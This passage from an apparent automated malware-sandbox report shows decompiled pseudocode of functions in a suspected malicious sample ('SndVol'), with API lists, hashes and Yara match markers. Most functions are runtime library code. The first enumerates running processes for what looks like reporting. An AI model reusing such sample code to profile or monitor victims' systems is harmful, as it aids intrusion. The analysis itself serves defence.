				void* __ebp;
				int _t45;
				void* _t50;
				void* _t51;
				void* _t53;
				void* _t133;
				void* _t134;

				_t120 = __edx;
				_t81 = __ecx;
				_t80 = __ebx;
				_t133 = __ecx;
				E004020DF(__ebx, __ecx);
				 *0x474af4 = E0041BF09(_t81);
				_t134 = CreateToolhelp32Snapshot(2, 0);
				if(_t134 != 0) {
					_v568 = 0x22c;
					_push( &_v568);
					Process32FirstW(_t134);
					_t45 = Process32NextW(_t134,  &_v572);
					_t138 = _t45;
					if(_t45 != 0) {
						do {
							E0040417E(__ebx,  &_v912, _t120, 0x4674c0,  &_v540);
							_t50 = E0041BAE0(_t80,  &_v604, E0041BF37(_v572) & 0x000000ff);
							_t51 = E0041BAE0(_t80,  &_v628, _v572);
							_t53 = E0041BC70(_t80,  &_v676, E0041C12F( &_v652, _v572));
							_t120 = E00402EA1( &_v868, E00406383(_t80,  &_v844, E00402EA1( &_v820, E00406383(_t80,  &_v796, E00402EA1( &_v772, E00406383(_t80,  &_v748, E00406362(_t80,  &_v724, _t133, 0x4674c0, _t138, E0041BC70(_t80,  &_v700,  &_v916)), _t133, 0x4674c0, _t138, 0x4674c0), _t53), _t133, 0x4674c0, _t138, 0x4674c0), _t51), _t133, 0x4674c0, _t138, 0x4674c0), _t50);
							E00401FE2(_t133, _t61, _t134, E00406383(_t80,  &_v892, _t61, _t133, 0x4674c0, _t138, "|"));
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401FD8();
							E00401F09();
							E00401FD8();
							E00401FD8();
							E00401F09();
						} while (Process32NextW(_t134,  &_v584) != 0);
					}
					CloseHandle(_t134);
				}
				return _t133;
			}













































                                    0x0040f84b
                                    0x0040f84b
                                    0x0040f84b
                                    0x0040f854
                                    0x0040f856
                                    0x0040f864
                                    0x0040f86f
                                    0x0040f873
                                    0x0040f880
                                    0x0040f88b
                                    0x0040f88d
                                    0x0040f89c
                                    0x0040f8a2
                                    0x0040f8a4
                                    0x0040f8af
                                    0x0040f8bb
                                    0x0040f8db
                                    0x0040f8f0
                                    0x0040f913
                                    0x0040f98e
                                    0x0040f99d
                                    0x0040f9a6
                                    0x0040f9af
                                    0x0040f9b8
                                    0x0040f9c1
                                    0x0040f9cd
                                    0x0040f9d9
                                    0x0040f9e5
                                    0x0040f9f1
                                    0x0040f9fd
                                    0x0040fa09
                                    0x0040fa15
                                    0x0040fa21
                                    0x0040fa2d
                                    0x0040fa36
                                    0x0040fa4a
                                    0x0040f8af
                                    0x0040fa53
                                    0x0040fa53
                                    0x0040fa64

                                    APIs
                                      • Part of subcall function 0041BF09: GetCurrentProcess.KERNEL32(?,?,?,0040D9F8,WinDir,00000000,00000000), ref: 0041BF1A
                                    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F869
                                    • Process32FirstW.KERNEL32(00000000,?), ref: 0040F88D
                                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F89C
                                    • CloseHandle.KERNEL32(00000000), ref: 0040FA53
                                      • Part of subcall function 0041BF37: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040F547,00000000,?,?,00475338), ref: 0041BF4C
                                      • Part of subcall function 0041C12F: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C147
                                      • Part of subcall function 0041C12F: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C15A
                                    • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040FA44
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Process$OpenProcess32$Next$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                                    • String ID:
                                    • API String ID: 4269425633-0
                                    • Opcode ID: 0aafcbdc5401d181739f17644f5451e7bffa923890b2f8f765179b2ff8257fc7
                                    • Instruction ID: 85931a02dc90b4e69f480d08b91076587f3bbc20347d2ea33672a6acfb71b1d3
                                    • Opcode Fuzzy Hash: 0aafcbdc5401d181739f17644f5451e7bffa923890b2f8f765179b2ff8257fc7
                                    • Instruction Fuzzy Hash: 8C4136311043419BC325F722DC51AEFB3A5AF94344F50493EF44A921E2EF385A4AC79A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00443D68 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 83%
                                    			E00443D68(signed int* __ecx, signed int __edx) {
				signed int _v8;
				intOrPtr* _v12;
				signed int _v16;
				signed int _t28;
				signed int _t29;
				intOrPtr _t33;
				signed int _t37;
				signed int _t38;
				signed int _t40;
				void* _t50;
				signed int _t56;
				intOrPtr* _t57;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t78;
				signed int _t80;
				signed int* _t81;
				signed int _t85;
				void* _t86;

				_t72 = __edx;
				_v12 = __ecx;
				_t28 =  *__ecx;
				_t81 =  *_t28;
				if(_t81 != 0) {
					_t29 =  *0x47100c; // 0xbb2d687
					_t56 =  *_t81 ^ _t29;
					_t78 = _t81[1] ^ _t29;
					_t83 = _t81[2] ^ _t29;
					asm("ror edi, cl");
					asm("ror esi, cl");
					asm("ror ebx, cl");
					if(_t78 != _t83) {
						L14:
						 *_t78 = E004430D9( *((intOrPtr*)( *((intOrPtr*)(_v12 + 4)))));
						_t33 = E004342C0(_t56);
						_t57 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)))) = _t33;
						_t24 = _t78 + 4; // 0x4
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 4)) = E004342C0(_t24);
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 8)) = E004342C0(_t83);
						_t37 = 0;
						L15:
						return _t37;
					}
					_t38 = 0x200;
					_t85 = _t83 - _t56 >> 2;
					if(_t85 <= 0x200) {
						_t38 = _t85;
					}
					_t80 = _t38 + _t85;
					if(_t80 == 0) {
						_t80 = 0x20;
					}
					if(_t80 < _t85) {
						L9:
						_push(4);
						_t80 = _t85 + 4;
						_push(_t80);
						_v8 = E0044FA26(_t56);
						_t40 = E00446652(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							goto L11;
						}
						_t37 = _t40 | 0xffffffff;
						goto L15;
					} else {
						_push(4);
						_push(_t80);
						_v8 = E0044FA26(_t56);
						E00446652(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							L11:
							_t56 = _t68;
							_v8 = _t68 + _t85 * 4;
							_t83 = _t68 + _t80 * 4;
							_t78 = _v8;
							_push(0x20);
							asm("ror eax, cl");
							_t71 = _t78;
							_v16 = 0 ^  *0x47100c;
							asm("sbb edx, edx");
							_t74 =  !_t72 & _t68 + _t80 * 0x00000004 - _t78 + 0x00000003 >> 0x00000002;
							_v8 = _t74;
							if(_t74 == 0) {
								goto L14;
							}
							_t75 = _v16;
							_t50 = 0;
							do {
								_t50 = _t50 + 1;
								 *_t71 = _t75;
								_t71 = _t71 + 4;
							} while (_t50 != _v8);
							goto L14;
						}
						goto L9;
					}
				}
				return _t28 | 0xffffffff;
			}

























                                    0x00443d68
                                    0x00443d72
                                    0x00443d76
                                    0x00443d78
                                    0x00443d7c
                                    0x00443d86
                                    0x00443d97
                                    0x00443d9c
                                    0x00443d9e
                                    0x00443da0
                                    0x00443da2
                                    0x00443da4
                                    0x00443da8
                                    0x00443e62
                                    0x00443e70
                                    0x00443e72
                                    0x00443e77
                                    0x00443e7e
                                    0x00443e80
                                    0x00443e8e
                                    0x00443e9d
                                    0x00443ea0
                                    0x00443ea2
                                    0x00000000
                                    0x00443ea3
                                    0x00443db0
                                    0x00443db5
                                    0x00443dba
                                    0x00443dbc
                                    0x00443dbc
                                    0x00443dbe
                                    0x00443dc3
                                    0x00443dc7
                                    0x00443dc7
                                    0x00443dca
                                    0x00443de9
                                    0x00443de9
                                    0x00443deb
                                    0x00443dee
                                    0x00443df7
                                    0x00443dfa
                                    0x00443dff
                                    0x00443e02
                                    0x00443e07
                                    0x00000000
                                    0x00000000
                                    0x00443e09
                                    0x00000000
                                    0x00443dcc
                                    0x00443dcc
                                    0x00443dce
                                    0x00443dd7
                                    0x00443dda
                                    0x00443ddf
                                    0x00443de2
                                    0x00443de7
                                    0x00443e11
                                    0x00443e14
                                    0x00443e16
                                    0x00443e19
                                    0x00443e21
                                    0x00443e27
                                    0x00443e2e
                                    0x00443e30
                                    0x00443e38
                                    0x00443e47
                                    0x00443e4b
                                    0x00443e4d
                                    0x00443e50
                                    0x00000000
                                    0x00000000
                                    0x00443e52
                                    0x00443e55
                                    0x00443e57
                                    0x00443e57
                                    0x00443e58
                                    0x00443e5a
                                    0x00443e5d
                                    0x00000000
                                    0x00443e57
                                    0x00000000
                                    0x00443de7
                                    0x00443dca
                                    0x00000000

                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free
                                    • String ID:
                                    • API String ID: 269201875-0
                                    • Opcode ID: 874653f30e7e2a73f87ce5aa5122ef8ab2c7e832f580e021fcdfeef313f43ad7
                                    • Instruction ID: 45261ed655e5f4704b53d2dc04da5cf393726bd9d00fea5a431c7bdda9668d28
                                    • Opcode Fuzzy Hash: 874653f30e7e2a73f87ce5aa5122ef8ab2c7e832f580e021fcdfeef313f43ad7
                                    • Instruction Fuzzy Hash: 8041F536E012009FEB20DFB8C881A9EB7A5EF88714F2545AEE515EB351D735AE01CB84
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0045107D Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 81%
                                    			E0045107D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t53;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t67;
				short* _t69;
				signed int _t70;
				short* _t71;

				_t34 =  *0x47100c; // 0xbb2d687
				_v8 = _t34 ^ _t70;
				E0043A707(__ebx,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t53 =  *(_v24 + 8);
					_t57 = _t53;
					_a24 = _t53;
				}
				_t67 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E00434F3B(_v8 ^ _t70);
				}
				_t55 = _t40 + _t40;
				asm("sbb eax, eax");
				if((_t55 + 0x00000008 & _t40) == 0) {
					_t69 = 0;
					L11:
					if(_t69 != 0) {
						E00436DE0(_t67, _t69, _t67, _t55);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t69, _v12);
						if(_t46 != 0) {
							_t67 = GetStringTypeW(_a8, _t69, _t46, _a20);
						}
					}
					L14:
					E00435D93(_t69);
					goto L15;
				}
				asm("sbb eax, eax");
				_t48 = _t40 & _t55 + 0x00000008;
				_t63 = _t55 + 8;
				if((_t40 & _t55 + 0x00000008) > 0x400) {
					asm("sbb eax, eax");
					_t69 = E00446087(_t63, _t48 & _t63);
					if(_t69 == 0) {
						goto L14;
					}
					 *_t69 = 0xdddd;
					L9:
					_t69 =  &(_t69[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E004570E0();
				_t69 = _t71;
				if(_t69 == 0) {
					goto L14;
				}
				 *_t69 = 0xcccc;
				goto L9;
			}




















                                    0x00451085
                                    0x0045108c
                                    0x00451098
                                    0x0045109d
                                    0x004510a2
                                    0x004510a7
                                    0x004510aa
                                    0x004510ac
                                    0x004510ac
                                    0x004510b1
                                    0x004510ca
                                    0x004510d0
                                    0x004510d5
                                    0x00451174
                                    0x00451178
                                    0x0045117d
                                    0x0045117d
                                    0x00451199
                                    0x00451199
                                    0x004510db
                                    0x004510e3
                                    0x004510e7
                                    0x00451133
                                    0x00451135
                                    0x00451137
                                    0x0045113c
                                    0x00451153
                                    0x0045115b
                                    0x0045116b
                                    0x0045116b
                                    0x0045115b
                                    0x0045116d
                                    0x0045116e
                                    0x00000000
                                    0x00451173
                                    0x004510ee
                                    0x004510f0
                                    0x004510f2
                                    0x004510fa
                                    0x00451117
                                    0x00451121
                                    0x00451126
                                    0x00000000
                                    0x00000000
                                    0x00451128
                                    0x0045112e
                                    0x0045112e
                                    0x00000000
                                    0x0045112e
                                    0x004510fe
                                    0x00451102
                                    0x00451107
                                    0x0045110b
                                    0x00000000
                                    0x00000000
                                    0x0045110d
                                    0x00000000

                                    APIs
                                    • MultiByteToWideChar.KERNEL32(?,00000000,?,00000000,00000000,00000000,0042DC53,?,?,?,00000001,00000000,?,00000001,0042DC53,0042DC53), ref: 004510CA
                                    • __alloca_probe_16.LIBCMT ref: 00451102
                                    • MultiByteToWideChar.KERNEL32(?,00000001,?,00000000,00000000,0042DC53,?,?,?,00000001,00000000,?,00000001,0042DC53,0042DC53,?), ref: 00451153
                                    • GetStringTypeW.KERNEL32(00000001,00000000,00000000,00000001,?,?,?,00000001,00000000,?,00000001,0042DC53,0042DC53,?,00000002,00000000), ref: 00451165
                                    • __freea.LIBCMT ref: 0045116E
                                      • Part of subcall function 00446087: HeapAlloc.KERNEL32(00000000,004351EF,?,?,00438797,?,?,00000000,?,?,0040DDB0,004351EF,?,?,?,?), ref: 004460B9
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ByteCharMultiWide$AllocHeapStringType__alloca_probe_16__freea
                                    • String ID:
                                    • API String ID: 1857427562-0
                                    • Opcode ID: 35e11d48413dc489e856582e25e527118db88685274ad62c195dd2d50e657527
                                    • Instruction ID: 39f818b4c5284da4ef6a11d5aac1cba500e88a8e093f4a9df4b50e3d7e61d5bd
                                    • Opcode Fuzzy Hash: 35e11d48413dc489e856582e25e527118db88685274ad62c195dd2d50e657527
                                    • Instruction Fuzzy Hash: 3E310371A0061AABDF24CF65CC41EEF7BA5EB08745F0441AAFC04D62A2E739CC54CB94
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0044F2AB Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 93%
                                    			E0044F2AB() {
				int _v8;
				void* __ecx;
				void* _t6;
				int _t7;
				char* _t13;
				int _t17;
				void* _t19;
				char* _t25;
				WCHAR* _t27;

				_t27 = GetEnvironmentStringsW();
				if(_t27 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t6 = E0044F274(_t27);
					_pop(_t19);
					_t17 = _t6 - _t27 >> 1;
					_t7 = WideCharToMultiByte(0, 0, _t27, _t17, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t25 = E00446087(_t19, _t7);
						if(_t25 == 0 || WideCharToMultiByte(0, 0, _t27, _t17, _t25, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t25;
							_t25 = 0;
						}
						E00446652(_t25);
					}
				}
				if(_t27 != 0) {
					FreeEnvironmentStringsW(_t27);
				}
				return _t13;
			}












                                    0x0044f2ba
                                    0x0044f2c0
                                    0x0044f318
                                    0x0044f318
                                    0x0044f2c2
                                    0x0044f2c3
                                    0x0044f2c8
                                    0x0044f2d1
                                    0x0044f2d7
                                    0x0044f2dd
                                    0x0044f2e2
                                    0x00000000
                                    0x0044f2e4
                                    0x0044f2ea
                                    0x0044f2ef
                                    0x0044f30d
                                    0x0044f307
                                    0x0044f307
                                    0x0044f309
                                    0x0044f309
                                    0x0044f310
                                    0x0044f315
                                    0x0044f2e2
                                    0x0044f31c
                                    0x0044f31f
                                    0x0044f31f
                                    0x0044f32d

                                    APIs
                                    • GetEnvironmentStringsW.KERNEL32 ref: 0044F2B4
                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F2D7
                                      • Part of subcall function 00446087: HeapAlloc.KERNEL32(00000000,004351EF,?,?,00438797,?,?,00000000,?,?,0040DDB0,004351EF,?,?,?,?), ref: 004460B9
                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044F2FD
                                    • _free.LIBCMT ref: 0044F310
                                    • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F31F
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ByteCharEnvironmentMultiStringsWide$AllocFreeHeap_free
                                    • String ID:
                                    • API String ID: 2278895681-0
                                    • Opcode ID: 26a64bb5e553b5cb0209a030f740bd6b5f4a85ef111b74e0953c4f09e5a519ea
                                    • Instruction ID: 168c474f20906af69d95f1dca222279c89708fbb4ef5da397bf172721a82667c
                                    • Opcode Fuzzy Hash: 26a64bb5e553b5cb0209a030f740bd6b5f4a85ef111b74e0953c4f09e5a519ea
                                    • Instruction Fuzzy Hash: 5E01D472601711BF77211AB66C8CC7F6A6DDAC6BA2315013FFC04C2205DE688D0581B9
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004110B1 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 90%
                                    			E004110B1(void* __ebx, void* __edx, void* __edi, void* __eflags, intOrPtr _a4) {
				void* _v8;
				char _v12;
				char _v24;
				intOrPtr _v36;
				intOrPtr* _t34;
				void* _t39;
				intOrPtr* _t42;
				intOrPtr* _t44;

				E0043524B( &_v12, 0);
				_t39 =  *0x476b28;
				_v8 = _t39;
				_t42 = E0040E0E0(_a4, E0040E00F(0x476d18));
				if(_t42 != 0) {
					L5:
					E004352A3( &_v12);
					return _t42;
				} else {
					if(_t39 == 0) {
						__eflags = E00411175(__ebx, __edx,  &_v8, _a4) - 0xffffffff;
						if(__eflags == 0) {
							_t34 =  &_v24;
							E0040DEDB(_t34);
							E00439076( &_v24, 0x46ee0c);
							asm("int3");
							_push(_t42);
							_t44 = _t34;
							E0040DDD5(_t34, _v36);
							 *_t44 = 0x45a324;
							return _t44;
						} else {
							_t42 = _v8;
							 *0x476b28 = _t42;
							 *((intOrPtr*)( *_t42 + 4))();
							E0043545C(__eflags, _t42);
							goto L5;
						}
					} else {
						_t42 = _t39;
						goto L5;
					}
				}
			}











                                    0x004110be
                                    0x004110c3
                                    0x004110ce
                                    0x004110df
                                    0x004110e3
                                    0x00411117
                                    0x0041111a
                                    0x00411126
                                    0x004110e5
                                    0x004110e7
                                    0x004110fb
                                    0x004110fe
                                    0x00411127
                                    0x0041112a
                                    0x00411138
                                    0x0041113d
                                    0x0041113e
                                    0x00411143
                                    0x00411145
                                    0x0041114a
                                    0x00411153
                                    0x00411100
                                    0x00411100
                                    0x00411105
                                    0x0041110d
                                    0x00411111
                                    0x00000000
                                    0x00411116
                                    0x004110e9
                                    0x004110e9
                                    0x00000000
                                    0x004110e9
                                    0x004110e7

                                    APIs
                                    • std::_Lockit::_Lockit.LIBCPMT ref: 004110BE
                                    • int.LIBCPMT ref: 004110D1
                                      • Part of subcall function 0040E00F: std::_Lockit::_Lockit.LIBCPMT ref: 0040E020
                                      • Part of subcall function 0040E00F: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E03A
                                    • std::_Facet_Register.LIBCPMT ref: 00411111
                                    • std::_Lockit::~_Lockit.LIBCPMT ref: 0041111A
                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 00411138
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                    • String ID:
                                    • API String ID: 2536120697-0
                                    • Opcode ID: 52e2e35785c98edab593294df4c65416b36fd61a4501962518308413c9435e89
                                    • Instruction ID: 967be6f064cf5e4bee94585b23455f937f47d59d010b90c55409ea2252cf562c
                                    • Opcode Fuzzy Hash: 52e2e35785c98edab593294df4c65416b36fd61a4501962518308413c9435e89
                                    • Instruction Fuzzy Hash: 1F113A32900514A7CB14EBA5D8018DEBBB89F49324F21446FFA05A73A1DF789E84C7D8
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00448169 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 82%
                                    			E00448169(void* __ecx) {
				void* __esi;
				intOrPtr _t2;
				void* _t4;
				void* _t10;
				void* _t11;
				void* _t13;
				void* _t15;
				long _t16;

				_t11 = __ecx;
				_t16 = GetLastError();
				_t10 = 0;
				_t2 =  *0x4711dc; // 0x8
				_t19 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t15 = E00445A43(_t11, 1, 0x364);
					_pop(_t13);
					if(_t15 != 0) {
						_t4 = E004486E2(_t13, _t16, __eflags,  *0x4711dc, _t15);
						__eflags = _t4;
						if(_t4 != 0) {
							E00447F57(_t13, _t15, 0x472664);
							E00446652(_t10);
							__eflags = _t15;
							if(_t15 != 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t15);
							goto L4;
						}
					} else {
						_push(_t10);
						L4:
						E00446652();
						L8:
						SetLastError(_t16);
					}
				} else {
					_t15 = E0044868C(_t11, _t16, _t19, _t2);
					if(_t15 != 0) {
						L9:
						SetLastError(_t16);
						_t10 = _t15;
					} else {
						goto L2;
					}
				}
				return _t10;
			}











                                    0x00448169
                                    0x00448174
                                    0x00448176
                                    0x00448178
                                    0x0044817d
                                    0x00448180
                                    0x0044818e
                                    0x0044819a
                                    0x0044819d
                                    0x004481a0
                                    0x004481b2
                                    0x004481b7
                                    0x004481b9
                                    0x004481c4
                                    0x004481ca
                                    0x004481d2
                                    0x004481d4
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004481bb
                                    0x004481bb
                                    0x00000000
                                    0x004481bb
                                    0x004481a2
                                    0x004481a2
                                    0x004481a3
                                    0x004481a3
                                    0x004481d6
                                    0x004481d7
                                    0x004481d7
                                    0x00448182
                                    0x00448188
                                    0x0044818c
                                    0x004481df
                                    0x004481e0
                                    0x004481e6
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044818c
                                    0x004481ed

                                    APIs
                                    • GetLastError.KERNEL32(?,00000000,00000000,0043BBD7,00000000,00000000,?,0043BC5B,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0044816E
                                    • _free.LIBCMT ref: 004481A3
                                    • _free.LIBCMT ref: 004481CA
                                    • SetLastError.KERNEL32(00000000,?,00405103), ref: 004481D7
                                    • SetLastError.KERNEL32(00000000,?,00405103), ref: 004481E0
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ErrorLast$_free
                                    • String ID:
                                    • API String ID: 3170660625-0
                                    • Opcode ID: 73148e45db194749aa813c8d1e9651f1292055391ac483a56b3624eb5748bc14
                                    • Instruction ID: d82916c96eccb5278e7b0b6445225fe14457001a9ae52eeac283f8209725dfde
                                    • Opcode Fuzzy Hash: 73148e45db194749aa813c8d1e9651f1292055391ac483a56b3624eb5748bc14
                                    • Instruction Fuzzy Hash: 5301D6361447006BB611272AAC86A6F315E9BD2775B26053FFC0892292EE6CCD07816D
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0045090D Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0045090D(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t26;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x471188; // 0x471180
					if(_t23 != 0) {
						E00446652(_t7);
					}
					_t8 =  *((intOrPtr*)(_t21 + 4));
					if( *((intOrPtr*)(_t21 + 4)) !=  *0x47118c) {
						E00446652(_t8);
					}
					_t9 =  *((intOrPtr*)(_t21 + 8));
					if( *((intOrPtr*)(_t21 + 8)) !=  *0x471190) {
						E00446652(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x4711b8; // 0x471184
					if(_t26 != 0) {
						E00446652(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					if(_t6 !=  *0x4711bc) {
						return E00446652(_t6);
					}
				}
				return _t6;
			}







                                    0x00450913
                                    0x00450918
                                    0x0045091c
                                    0x00450922
                                    0x00450925
                                    0x0045092a
                                    0x0045092b
                                    0x00450934
                                    0x00450937
                                    0x0045093c
                                    0x0045093d
                                    0x00450946
                                    0x00450949
                                    0x0045094e
                                    0x00450952
                                    0x00450958
                                    0x0045095b
                                    0x00450960
                                    0x00450961
                                    0x0045096a
                                    0x00000000
                                    0x00450972
                                    0x0045096a
                                    0x00450975

                                    APIs
                                    • _free.LIBCMT ref: 00450925
                                      • Part of subcall function 00446652: HeapFree.KERNEL32(00000000,00000000,?,00450BC0,?,00000000,?,00000000,?,00450E64,?,00000007,?,?,004513AF,?), ref: 00446668
                                      • Part of subcall function 00446652: GetLastError.KERNEL32(?,?,00450BC0,?,00000000,?,00000000,?,00450E64,?,00000007,?,?,004513AF,?,?), ref: 0044667A
                                    • _free.LIBCMT ref: 00450937
                                    • _free.LIBCMT ref: 00450949
                                    • _free.LIBCMT ref: 0045095B
                                    • _free.LIBCMT ref: 0045096D
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free$ErrorFreeHeapLast
                                    • String ID:
                                    • API String ID: 776569668-0
                                    • Opcode ID: e5d56ee398bdfbfcfbbb3f4ba07dab2c02d7dab1510b0bbff9ebc0497d520251
                                    • Instruction ID: e3213e458d58e7e95f21381f76baa6d8daf1f5b5fbce71c7f95d973a5af7bc57
                                    • Opcode Fuzzy Hash: e5d56ee398bdfbfcfbbb3f4ba07dab2c02d7dab1510b0bbff9ebc0497d520251
                                    • Instruction Fuzzy Hash: 65F0127650420067A620EB5DF893C1B73DEFA1572179A881BF54CDB62AC738FCC08A5C
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00443FB7 Relevance: 7.5, APIs: 5, Instructions: 30COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 91%
                                    			E00443FB7(signed int __ecx) {
				intOrPtr _t7;

				asm("lock xadd [eax], ecx");
				if((__ecx | 0xffffffff) == 0) {
					_t7 =  *0x4719a0; // 0x7edcc0
					if(_t7 != 0x471780) {
						E00446652(_t7);
						 *0x4719a0 = 0x471780;
					}
				}
				E00446652( *0x472a18);
				 *0x472a18 = 0;
				E00446652( *0x472a1c);
				 *0x472a1c = 0;
				E00446652( *0x472a48);
				 *0x472a48 = 0;
				E00446652( *0x472a4c);
				 *0x472a4c = 0;
				return 1;
			}




                                    0x00443fc0
                                    0x00443fc4
                                    0x00443fc6
                                    0x00443fd2
                                    0x00443fd5
                                    0x00443fdb
                                    0x00443fdb
                                    0x00443fd2
                                    0x00443fe7
                                    0x00443ff4
                                    0x00443ffa
                                    0x00444005
                                    0x0044400b
                                    0x00444016
                                    0x0044401c
                                    0x00444024
                                    0x0044402d

                                    APIs
                                    • _free.LIBCMT ref: 00443FD5
                                      • Part of subcall function 00446652: HeapFree.KERNEL32(00000000,00000000,?,00450BC0,?,00000000,?,00000000,?,00450E64,?,00000007,?,?,004513AF,?), ref: 00446668
                                      • Part of subcall function 00446652: GetLastError.KERNEL32(?,?,00450BC0,?,00000000,?,00000000,?,00450E64,?,00000007,?,?,004513AF,?,?), ref: 0044667A
                                    • _free.LIBCMT ref: 00443FE7
                                    • _free.LIBCMT ref: 00443FFA
                                    • _free.LIBCMT ref: 0044400B
                                    • _free.LIBCMT ref: 0044401C
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
